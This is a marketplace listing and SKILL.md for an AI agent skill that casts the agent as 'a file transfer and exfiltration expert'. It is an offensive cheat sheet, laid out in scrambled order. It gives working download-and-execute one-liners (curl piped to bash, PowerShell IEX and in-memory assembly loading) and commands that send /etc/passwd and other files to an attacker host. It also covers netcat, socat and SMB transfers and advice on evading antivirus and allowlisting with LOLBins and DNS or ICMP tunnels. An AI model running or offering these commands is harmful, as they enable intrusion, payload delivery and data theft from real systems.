OverviewHistoryStatsSecurity
npx skills add ...
Documentation
SKILL.md
npx skills add trilwu/secskills --skill transferring-files
Transfer files between systems using HTTP, SMB, FTP, netcat, base64 encoding, and living-off-the-land techniques for both Linux and Windows. Use when moving tools or exfiltrating data.
npx skills add trilwu/secskills --skill transferring-files
You are a file transfer and exfiltration expert. Use this skill when the user requests help with:
Activate this skill when the user asks to:
hunting-threatswget:
curl:
Netcat:
Base64 Encoding (for copy-paste):
Python HTTP Server (for hosting files):
PowerShell:
certutil:
bitsadmin:
cmd.exe (VBS script): when PowerShell/certutil/bitsadmin are unavailable,
build a WinHTTP downloader from cmd.exe. See
references/command-catalogs.md.
HTTP POST:
SCP (if SSH available):
Netcat:
Socat:
Covert channels (DNS / ICMP): when normal egress is filtered, tunnel data out over DNS queries or ICMP packets. See references/command-catalogs.md.
PowerShell:
SMB:
FTP:
Linux to Windows:
Windows to Linux:
Impacket smbserver:
Linux FTP Server:
Windows FTP Client:
Prefer signed, native binaries (certutil, mshta, regsvr32, rundll32 on Windows; GTFOBins entries on Linux) to blend in and evade allowlisting. Full command catalog: references/command-catalogs.md.
When you hold DB access, read/write the host filesystem or reach command
execution through the engine itself (MySQL INTO OUTFILE/LOAD_FILE, MSSQL
xp_cmdshell, PostgreSQL COPY ... TO/FROM PROGRAM). Per-engine SQL:
references/command-catalogs.md.
Encode before transfer to survive lossy channels and evade content inspection: base64 for copy-paste, hex for binary-safe transport, gzip/tar to compress and bundle. Command catalog: references/command-catalogs.md.
Download and Execute:
In-Memory Execution:
Start HTTP Server (Attacker):
Start SMB Server (Attacker):
Download on Target (Linux):
Download on Target (Windows):
Upload from Target:
Firewall Blocking:
AV Detection:
No Internet Access:
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Resource Development (TA0042)
performing-social-engineeringLateral Movement (TA0008)
Collection (TA0009)
hunting-threatshunting-threatsCommand and Control (TA0011)
analyzing-malware, analyzing-network-traffichunting-threatsExfiltration (TA0010)
hunting-threats, analyzing-network-traffichunting-threatsDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt # Keep original name
# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt
# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt
# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt# Receiver
nc -lvnp 4444 > file.txt
# Sender
nc 10.10.10.10 4444 < file.txt
# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64 # Copy this
# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt
# Or in one command
echo "BASE64STRING" | base64 -d > file.txt# Python 3
python3 -m http.server 8000
# Python 2
python -m SimpleHTTPServer 8000
# Ruby
ruby -run -e httpd . -p 8000
# PHP
php -S 0.0.0.0:8000# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")
# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe
# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe
# Clean cache
certutil.exe -urlcache * delete# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe
# Verify and complete
bitsadmin /complete job# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload
# With auth
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/upload -u user:pass
# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload# Upload
scp file.txt user@10.10.10.10:/tmp/
# Download
scp user@10.10.10.10:/tmp/file.txt ./
# Recursive
scp -r directory/ user@10.10.10.10:/tmp/
# With key
scp -i id_rsa file.txt user@10.10.10.10:/tmp/# Receiver (attacker)
nc -lvnp 4444 > received_file.txt
# Sender (target)
nc 10.10.10.10 4444 < file.txt# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt
# Sender
socat TCP4:10.10.10.10:4444 file:file.txt# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file
# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\
# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -s:ftp.txt# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt
# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support
# From Windows
copy C:\file.txt \\10.10.10.10\share\# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass
# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe
# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w
# vsftpd (if installed)
sudo service vsftpd start# Interactive
ftp 10.10.10.10
# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh
# One-liner
curl http://10.10.10.10/script.sh | bash
# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code
# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)python3 -m http.server 8000
sudo python3 -m http.server 80sudo impacket-smbserver share /tmp/share -smb2supportwget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o filecertutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"# Linux
curl -X POST -F "file=@file.txt" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt
# Windows
copy file.txt \\10.10.10.10\share\